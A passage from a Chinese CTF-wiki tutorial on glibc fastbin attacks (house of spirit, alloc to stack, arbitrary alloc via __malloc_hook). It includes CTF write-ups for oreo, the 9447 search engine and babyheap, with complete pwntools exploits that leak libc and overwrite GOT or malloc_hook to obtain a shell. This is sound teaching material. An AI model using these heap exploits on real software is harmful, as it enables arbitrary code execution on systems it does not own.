链表中,需要绕过一些必要的检测,即 - fake chunk 的 ISMMAP 位不能为1,因为 free 时,如果是 mmap 的 chunk,会单独处理。 - fake chunk 地址需要对齐, MALLOC_ALIGN_MASK - fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。 - fake chunk 的 next chunk 的大小不能小于 `2 * SIZE_SZ`,同时也不能大于`av->system_mem` 。 - fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。 至于为什么要绕过这些检测,可以参考 free 部分的源码。 ### 演示 这里就直接以 how2heap 上的例子进行说明,如下 ```c #include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1); fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]); fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); } ``` 运行后的效果如下 ```shell ➜ how2heap git:(master) ./house_of_spirit This file demonstrates the house of spirit attack. Calling malloc() once so that it sets up its memory. We will now overwrite a pointer to point to a fake 'fastbin' region. This region (memory of length: 80) contains two chunks. The first starts at 0x7ffd9bceaa58 and the second at 0x7ffd9bceaa88. This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems. ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size. Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffd9bceaa58. ... note that the memory address of the *region* associated with this chunk must be 16-byte aligned. Freeing the overwritten pointer. Now the next malloc will return the region of our fake chunk at 0x7ffd9bceaa58, which will be 0x7ffd9bceaa60! malloc(0x30): 0x7ffd9bceaa60 ``` ### 小总结 可以看出,想要使用该技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,**关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测**。 ## Alloc to Stack ### 介绍 如果你已经理解了前文所讲的 Fastbin Double Free 与 house of spirit 技术,那么理解该技术就已经不成问题了,它们的本质都在于 fastbin 链表的特性:当前 chunk 的 fd 指针指向下一个 chunk。 该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。 ### 演示 这次我们把 fake_chunk 置于栈中称为 stack_chunk,同时劫持了 fastbin 链表中 chunk 的 fd 值,通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fastbin chunk。 ``` typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; int main(void) { CHUNK stack_chunk; void *chunk1; void *chunk_a; stack_chunk.size=0x21; chunk1=malloc(0x10); free(chunk1); *(long long *)chunk1=&stack_chunk; malloc(0x10); chunk_a=malloc(0x10); return 0; } ``` 通过 gdb 调试可以看到我们首先把 chunk1 的 fd 指针指向了 stack_chunk ``` 0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1 0x602010: 0x00007fffffffde60 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk ``` 之后第一次 malloc 使得 fastbin 链表指向了 stack_chunk,这意味着下一次分配会使用 stack_chunk 的内存进行 ``` 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 <=== unsorted bin 0x7ffff7dd1b28 <main_arena+8>: 0x00007fffffffde60 <=== fastbin[0] 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 ``` 最终第二次malloc返回值为0x00007fffffffde70也就是stack_chunk ``` 0x400629 <main+83> call 0x4004c0 <malloc@plt> → 0x40062e <main+88> mov QWORD PTR [rbp-0x38], rax $rax : 0x00007fffffffde70 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/Ox9A82/tst/tst 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/Ox9A82/tst/tst 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/Ox9A82/tst/tst 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fdb000 0x00007ffff7fde000 0x0000000000000000 rw- 0x00007ffff7ff6000 0x00007ffff7ff8000 0x0000000000000000 rw- 0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] ``` ### 小总结 通过该技术我们可以把 fastbin chunk 分配到栈中,从而控制返回地址等关键数据。要实现这一点我们需要劫持fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的size值。 ## Arbitrary Alloc ### 介绍 Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如bss、heap、data、stack等等。 ### 演示 在这个例子,我们使用字节错位来实现直接分配 fastbin 到**\_malloc_hook的位置,相当于覆盖_malloc_hook来控制程序流程。** ``` int main(void) { void *chunk1; void *chunk_a; chunk1=malloc(0x60); free(chunk1);    *(long long *)chunk1=0x7ffff7dd1af5-0x8; malloc(0x60); chunk_a=malloc(0x60); return 0; } ``` 这里的0x7ffff7dd1af5是我根据本机的情况得出的值,这个值是怎么获得的呢?首先我们要观察欲写入地址附近是否存在可以字节错位的情况。 ``` 0x7ffff7dd1a88 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1a90 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1a98 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1aa0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1aa8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ab0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ab8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ac0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ac8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ad0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ad8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ae0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1ae8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0 0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1b00 0x20 0x2e 0xa9 0xf7 0xff 0x7f 0x0 0x0 0x7ffff7dd1b08 0x0 0x2a 0xa9 0xf7 0xff 0x7f 0x0 0x0 0x7ffff7dd1b10 <__malloc_hook>: 0x30 0x28 0xa9 0xf7 0xff 0x7f 0x0 0x0 ``` 0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址,于是我们向上寻找是否可以错位出一个合法的size域。因为这个程序是 64 位的,因此 fastbin 的范围为32字节到128字节(0x20-0x80),如下: ``` //这里的size指用户区域,因此要小2倍SIZE_SZ Fastbins[idx=0, size=0x10] Fastbins[idx=1, size=0x20] Fastbins[idx=2, size=0x30] Fastbins[idx=3, size=0x40] Fastbins[idx=4, size=0x50] Fastbins[idx=5, size=0x60] Fastbins[idx=6, size=0x70] ``` 通过观察发现 0x7ffff7dd1af5 处可以现实错位构造出一个0x000000000000007f ``` 0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0 0x7ffff7dd1af8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x7ffff7dd1af5 <_IO_wide_data_0+309>: 0x000000000000007f ``` 因为 0x7f 在计算 fastbin index 时,是属于 index 5 的,即 chunk 大小为 0x70 的。 ```c ##define fastbin_index(sz) \ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) ``` (注意sz的大小是unsigned int,因此只占4个字节) 而其大小又包含了 0x10 的 chunk_header,因此我们选择分配 0x60 的 fastbin,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd,因此我们就可以直接控制 __malloc_hook的内容(在我的libc中__realloc_hook与__malloc_hook是在连在一起的)。 ``` 0x4005a8 <main+66> call 0x400450 <malloc@plt> → 0x4005ad <main+71> mov QWORD PTR [rbp-0x8], rax $rax : 0x7ffff7dd1afd 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000 ``` ### 小总结 Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。 ## 2014 hack.lu oreo [题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2014_hack.lu_oreo) ### 基本分析 ```shell ➜ 2014_Hack.lu_oreo git:(master) file oreo oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped ➜ 2014_Hack.lu_oreo git:(master) checksec oreo [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/house_of_spirit/2014_Hack.lu_oreo/oreo' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出,程序确实是比较老的,32位程序,动态链接,就连 RELRO 技术也没有上。 ### 基本功能 **需要注意的是,该程序并没有进行 setvbuf 操作,因此在初次执行 io 函数时,会在堆上分配空间。** 正如程序中直接输出的信息,程序主要是一个原始的在线枪支系统。其中,根据添加枪支的过程,我们可以得到枪支的基本结构如下 ```c 00000000 rifle struc ; (sizeof=0x38, mappedto_5) 00000000 descript db 25 dup(?) 00000019 name db 27 dup(?) 00000034 next dd ? ; offset 00000038 rifle ends ``` 程序的基本功能如下 - 添加枪支,其主要会读取枪支的名字与描述。但问题在于读取的名字的长度过长,可以覆盖 next 指针以及后面堆块的数据。可以覆盖后面堆块的数据大小为 56-(56-27)=27 大小。需要注意的是,这些枪支的大小都是在fastbin 范围内的。 - 展示添加枪支,即从头到尾输出枪支的描述与名字。 - 订已经选择的枪支,即将所有已经添加的枪支释放掉,但是并没有置为NULL。 - 留下订货消息 - 展示目前状态,即添加了多少只枪,订了多少单,留下了什么信息。 不难分析得到,程序的漏洞主要存在于添加枪支时的堆溢出漏洞。 ### 利用 基本利用思路如下 1. 由于程序存在堆溢出漏洞,而且还可以控制 next 指针,我们可以直接控制 next 指针指向程序中 got 表的位置。当进行展示的时候,即可以输出对应的内容,这里同时需要确保假设对应地址为一个枪支结构体时,其 next 指针为 NULL。这里我采用 puts@got。通过这样的操作,我们就可以获得出 libc 基地址,以及 system 函数地址。 2. 由于枪支结构体大小是 0x38 大小,所以其对应的 chunk 为 0x40。这里采用 `house of sprit` 的技术来返回 0x0804A2A8 处的chunk,即留下的消息的指针。因此,我们需要设置 0x0804A2A4 处的内容为 0x40,即需要添加 0x40 支枪支,从而绕过大小检测。同时为了确保可以绕过 next chunk 的检测,这里我们编辑留下的消息。 3. 在成功分配这样的 chunk 后,我们其实就有了一个任意地址修改的漏洞,这里我们可以选择修改一个合适的 got 项为 system 地址,从而获得 shell。 具体代码如下 ```python from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' context.binary = "./oreo" oreo = ELF("./oreo") if args['REMOTE']: p = remote(ip, port) else: p = process("./oreo") log.info('PID: ' + str(proc.pidof(p)[0])) libc = ELF('./libc.so.6') def add(descrip, name): p.sendline('1') #p.recvuntil('Rifle name: ') p.sendline(name) #p.recvuntil('Rifle description: ') #sleep(0.5) p.sendline(descrip) def show_rifle(): p.sendline('2') p.recvuntil('===================================\n') def order(): p.sendline('3') def message(notice): p.sendline('4') #p.recvuntil("Enter any notice you'd like to submit with your order: ") p.sendline(notice) def exp(): print 'step 1. leak libc base' name = 27 * 'a' + p32(oreo.got['puts']) add(25 * 'a', name) show_rifle() p.recvuntil('===================================\n') p.recvuntil('Description: ') puts_addr = u32(p.recvuntil('\n', drop=True)[:4]) log.success('puts addr: ' + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) print 'step 2. free fake chunk at 0x0804A2A8' # now, oifle_cnt=1, we need set it = 0x40 oifle = 1 while oifle < 0x3f: # set next link=NULL add(25 * 'a', 'a' * 27 + p32(0)) oifle += 1 payload = 'a' * 27 + p32(0x0804a2a8) # set next link=0x0804A2A8, try to free a fake chunk add(25 * 'a', payload) # before free, we need to bypass some check # fake chunk's size is 0x40 # 0x20 *'a' for padding the last fake chunk # 0x40 for fake chunk's next chunk's prev_size # 0x100 for fake chunk's next chunk's size # set fake iofle' next to be NULL payload = 0x20 * '\x00' + p32(0x40) + p32(0x100) payload = payload.ljust(52, 'b') payload += p32(0) payload = payload.ljust(128, 'c') message(payload) # fastbin 0x40: 0x0804A2A0->some where heap->NULL order() p.recvuntil('Okay order submitted!\n') print 'step 3. get shell' # modify free@got to system addr payload = p32(oreo.got['strlen']).ljust(20, 'a') add(payload, 'b' * 20) log.success('system addr: ' + hex(system_addr)) #gdb.attach(p) message(p32(system_addr) + ';/bin/sh\x00') p.interactive() if __name__ == "__main__": exp() ``` 当然,该题目也可以使用 `fast bin attack` 中的其它技术来实现,可参考参考文献中的链接。 ## 2015 9447 CTF : Search Engine [题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2015_9447ctf_search-engine) ### 基本信息 ```shell ➜ 2015_9447ctf_search-engine git:(master) file search search: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped ➜ 2015_9447ctf_search-engine git:(master) checksec search [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/fastbin_attack/2015_9447ctf_search-engine/search' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled ``` ### 基本功能 程序的基本功能是 - 索引一个句子 - 大小v0,(unsigned int)(v0 - 1) > 0xFFFD - 读取的字符串长度必须和给定的大小相等 - 每次索引的句子都是直接在直接建立在前面的句子上的。 - 在一个句子中搜索单词 - 大小v0,(unsigned int)(v0 - 1) > 0xFFFD - 读取指定长度字符串 - 如果有回车标记 - 在指定长度内没有遇到回车,则读完没有设置NULL标记 - 在指定长度内遇到回车,就截断返回。 - 没有回车标记 - 读够指定长度,没有NULL标记结尾。 ### 词语结构体 通过分析索引句子的过程,我们可以得到词语的结构如下 ``` 00000000 word_struct struc ; (sizeof=0x28, mappedto_6) 00000000 content dq ? 00000008 size dd ? 0000000C padding1 dd ? 00000010 sentence_ptr dq ? ; offset 00000018 len dd ? 0000001C padding2 dd ? 00000020 next dq ? ; offset 00000028 word_struct ends ``` ### 堆内存相关操作 分配 - malloc 40 字节为一个word结构体 - 为句子或者单词 malloc 指定大小。 释放 - 释放删除的句子 - 释放删除句子所搜索的临时单词 - 释放索引句子时未使用的单词结构 ### 漏洞 **索引句子读取字符串时无NULL结尾** 在索引句子时 flag_enter 永远为 0,所以读取句子时最后没有 NULL 结尾。 ```c _flag_enter = flag_enter; v4 = 0; while ( 1 ) { v5 = &s[v4]; v6 = fread(&s[v4], 1uLL, 1uLL, stdin); if ( v6 <= 0 ) break; if ( *v5 == '\n' && _flag_enter ) { if ( v4 ) { *v5 = 0; return; } v4 = v6 - 1; if ( len <= v6 - 1 ) break; } else { v4 += v6; if ( len <= v4 ) break; } } ``` **读取选择操作数** ```c __int64 read_num() { __int64 result; // rax char *endptr; // [rsp+8h] [rbp-50h] char nptr; // [rsp+10h] [rbp-48h] unsigned __int64 v3; // [rsp+48h] [rbp-10h] v3 = __readfsqword(0x28u); read_str(&nptr, 48, 1); result = strtol(&nptr, &endptr, 0); if ( endptr == &nptr ) { __printf_chk(1LL, "%s is not a valid number\n", &nptr); result = read_num(); } __readfsqword(0x28u); return result; } ``` 因为 read_str 不设置NULL ,因此,如果 nptr 读取的不合法的话,就有可能会 leak 出栈上的内容。 **索引句子释放未置NULL** ```c else { free(v6); } ``` **搜索词语中删除词语时,对应句子指针只是释放,并没有设置为NULL** ```c for ( i = head; i; i = i->next ) { if ( *i->sentence_ptr ) { if ( LODWORD(i->size) == v0 && !memcmp((const void *)i->content, v1, v0) ) { __printf_chk(1LL, "Found %d: ", LODWORD(i->len)); fwrite(i->sentence_ptr, 1uLL, SLODWORD(i->len), stdout); putchar('\n'); puts("Delete this sentence (y/n)?"); read_str(&choice, 2, 1); if ( choice == 'y' ) { memset(i->sentence_ptr, 0, SLODWORD(i->len)); free(i->sentence_ptr); puts("Deleted!"); } } } } free(v1); ``` 可以看出,在每次释放 i->sentence_ptr 之前,这个句子的内容就会全部被设置为 `\x00` ,由于单词结构体中存储的单词只是句子的一个指针,所以单词也会被置为 `\x00` 。该句子对应的那些单词仍然是存在于链表中的,并没有被删除,因此每次搜索单词的时候,仍然会判断。看起来由于句子内容被置为 `\x00` 可以防止通过 `*i->sentence_ptr` 验证。然而,由于 chunk 被释放后会被放到 bin 中,当 chunk 不是 fastbin 或者 chunk 被重新分配出去使用的时候,也就有可能会产生 double free 的情况。此外,当句子被 `memset` 的时候,单词虽然都变为了 `\x00` ,但是我们仍然可以通过两个 `\x00` 的比较来绕过 `memcmp` 的检测。 ### 利用 #### 利用思路 基本利用思路如下 - 利用 unsorted bin 地址泄漏 libc 基地址 - 利用 double free 构造 fastbin 循环链表 - 分配 chunk 到 malloc_hook 附近,修改malloc_hook 为 one_gadget #### 泄漏 libc 地址 这里我们分配一个 small bin 大小的 chunk ,当它被释放后,就会放入到 unsorted bin 中。因而,只要 `unsorted bin` 的地址的起始字节不是 `\x00` 便可以通过验证。同时,我们可以构造 `\x00` 来进行比较,从而通过验证。具体如下 ```python def leak_libc(): smallbin_sentence = 's' * 0x85 + ' m ' index_sentence(smallbin_sentence) search_word('m') p.recvuntil('Delete this sentence (y/n)?\n') p.sendline('y') search_word('\x00') p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ') unsortedbin_addr = u64(p.recv(8)) p.recvuntil('Delete this sentence (y/n)?\n') p.sendline('n') return unsortedbin_addr ``` #### 构造 fastbin 循环链表 由于我们最后希望在 malloc_hook 处分配 chunk,而一般分配 malloc_hook 附近的 chunk 一般大小都是0x7f。即,我们所需要设置的设置的 fast bin 的数据字节部分的大小为 0x60。这里我们按照如下方式构造 1. 分别索引句子a,索引句子b,索引句子c,则此时单词链表中索引的句子的相对顺序为c->b->a。假设句子 a 为'a' * 0x5d+' d ',句子 b 为 'b' * 0x5d+' d ',句子c类似。 2. 索引单词d,三个均删除,则此时 fastbin 中的链表情况为 a->b->c->NULL,这是因为首先释放的是句子c,最后释放的是句子 a 。这时,搜索单词时`*i->sentence_ptr` 对于a, b 来说都是可以绕过的。 3. 我们此时再次删除搜索单词 `\x00`。首先遍历的是 c,但是 c 的验证不通过;其次遍历的是b,验证通过,我们将其释放;其次遍历的是a,验证通过,但是我们不删除。则此时 fastbin 的情况为 b->a->b->a->...。即已经构成了double free b的情况。由于我们先前为了 leak libc 还建立一个句子,所以还有一个单词可以比较,这里我们也不删除。 具体代码如下 ```python # 2. create cycle fastbin 0x70 size index_sentence('a' * 0x5d + ' d ') #a index_sentence('b' * 0x5d + ' d ') #b index_sentence('c' * 0x5d + ' d ') #c # a->b->c->NULL search_word('d') p.recvuntil('Delete this sentence (y/n)?\n') p.sendline('y') p.recvuntil('Delete this sentence (y/n)?\n') p.sendline('y') p.recvuntil('Delete this sentence (y/n)?\n') p.sendline('y') # b->a->b->a->... search_word('\x00') p.recvuntil('Delete this sentence (y/n)?\n') p.sendline('y') p.recvuntil('Delete this sentence (y/n)?\n') p.sendline('n') p.recvuntil('Delete this sentence (y/n)?\n') p.sendline('n') ``` 效果如下 ```shell pwndbg> fastbins fastbins 0x20: 0x0 0x30: 0x1d19320 ◂— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x1d191b0 —▸ 0x1d19010 —▸ 0x1d191b0 ◂— 0x1d19010 0x80: 0x0 ``` #### 分配 malloc_hook 附近chunk 此时,fastbin 的链表为 b->a->b->a->…,则我们可以在申请第一个相同大小的 chunk 时,设置 b 的 fd 为 malloc_hook 附近处的 chunk `0x7fd798586aed`(这里是举一个例子,代码中需使用相对地址)。 ```shell pwndbg> print (void*)&main_arena $1 = (void *) 0x7fd798586b20 <main_arena> pwndbg> x/8gx 0x7fd798586b20-16 0x7fd798586b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7fd798586b20 <main_arena>: 0x0000000000000000 0x0000000000bce130 0x7fd798586b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7fd798586b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 pwndbg> find_fake_fast 0x7fd798586b10 0x7f FAKE CHUNKS 0x7fd798586aed PREV_INUSE IS_MMAPED NON_MAIN_ARENA { prev_size = 15535264025435701248, size = 127, fd = 0xd798247e20000000, bk = 0xd798247a0000007f, fd_nextsize = 0x7f, bk_nextsize = 0x0 } pwndbg> print /x 0x7fd798586b10-0x7fd798586aed $2 = 0x23 pwndbg> print /x 0x7fd798586b20-0x7fd798586aed $3 = 0x33 ``` 那么当再次分配 b 的时候,由于此时 b 的 fd 已经被我们修改为了malloc_hook附近的地址,所以这时候我们再次分配一个 chunk,就会指向 `0x7fd798586aed`。 此后便只需要将 malloc_hook 修改为 one_gadget 地址就可以拿到 shell 了。 ```python # 3. fastbin attack to malloc_hook nearby chunk fake_chunk_addr = main_arena_addr - 0x33 fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f') index_sentence(fake_chunk) index_sentence('a' * 0x60) index_sentence('b' * 0x60) one_gadget_addr = libc_base + 0xf02a4 payload = 'a' * 0x13 + p64(one_gadget_addr) payload = payload.ljust(0x60, 'f') #gdb.attach(p) index_sentence(payload) p.interactive() ``` 这里可能需要多选择几个 one_gadget 地址,因为 one_gadget 成功是有条件的。 #### shell ```shell ➜ 2015_9447ctf_search-engine git:(master) python exp.py [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/fastbin_attack/2015_9447ctf_search-engine/search' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled [+] Starting local process './search': pid 31158 [*] PID: 31158 [+] unsortedbin addr: 0x7f802e73bb78 [+] libc base addr: 0x7f802e377000 [*] Switching to interactive mode Enter the sentence: $ ls exp.py search search.id1 search.nam libc.so.6 search.id0 search.id2 search.til ``` 当然,这里还有一种[方法](https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/),将 chunk 分配到栈上。 ## 2017 0ctf babyheap [题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2017_0ctf_babyheap) ### 基本信息 ```shell ➜ 2017_0ctf_babyheap git:(master) file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped ➜ 2017_0ctf_babyheap git:(master) checksec babyheap [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/fastbin_attack/2017_0ctf_babyheap/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` 64位程序,保护全部开启。 ### 基本功能 程序是一个堆分配器,主要由以下四种功能 ```c puts("1. Allocate"); puts("2. Fill"); puts("3. Free"); puts("4. Dump"); puts("5. Exit"); return printf("Command: "); ``` 其中,每次读取命令的函数由读取指定长度的字符串的函数而决定。 通过分配函数 ```c void __fastcall allocate(__int64 a1) { signed int i; // [rsp+10h] [rbp-10h] signed int v2; // [rsp+14h] [rbp-Ch] void *v3; // [rsp+18h] [rbp-8h] for ( i = 0; i <= 15; ++i ) { if ( !*(_DWORD *)(24LL * i + a1) ) { printf("Size: "); v2 = read_num(); if ( v2 > 0 ) { if ( v2 > 4096 ) v2 = 4096; v3 = calloc(v2, 1uLL); if ( !v3 ) exit(-1); *(_DWORD *)(24LL * i + a1) = 1; *(_QWORD *)(a1 + 24LL * i + 8) = v2; *(_QWORD *)(a1 + 24LL * i + 16) = v3; printf("Allocate Index %d\n", (unsigned int)i); } return; } } } ``` 申请的 chunk 的最大为 4096。此外,我们可以看出每个 chunk 主要有三个字段:是否在使用,堆块大小,堆块位置。故而我们可以创建对应的结构体。 ``` 00000000 chunk struc ; (sizeof=0x18, mappedto_6) 00000000 inuse dq ? 00000008 size dq ? 00000010 ptr dq ? 00000018 chunk ends ``` **需要注意的是堆块是由 calloc 分配的,所以 chunk 中的内容全都为`\x00`。** 在填充内容的功能中,使用读取内容的函数是直接读取指定长度的内容,并没有设置字符串结尾。**而且比较有意思的是,这个指定长度是我们指定的,并不是之前 chunk 分配时指定的长度,所以这里就出现了任意堆溢出的情形。** ```c __int64 __fastcall fill(chunk *a1) { __int64 result; // rax int v2; // [rsp+18h] [rbp-8h] int v3; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = read_num(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = LODWORD(a1[(signed int)result].inuse); if ( (_DWORD)result == 1 ) { printf("Size: "); result = read_num(); v3 = result; if ( (signed int)result > 0 ) { printf("Content: "); result = read_content((char *)a1[v2].ptr, v3); } } } return result; } ``` 在释放chunk的功能中该设置的都设置了。 ```c __int64 __fastcall free_chunk(chunk *a1) { __int64 result; // rax int v2; // [rsp+1Ch] [rbp-4h] printf("Index: "); result = read_num(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = LODWORD(a1[(signed 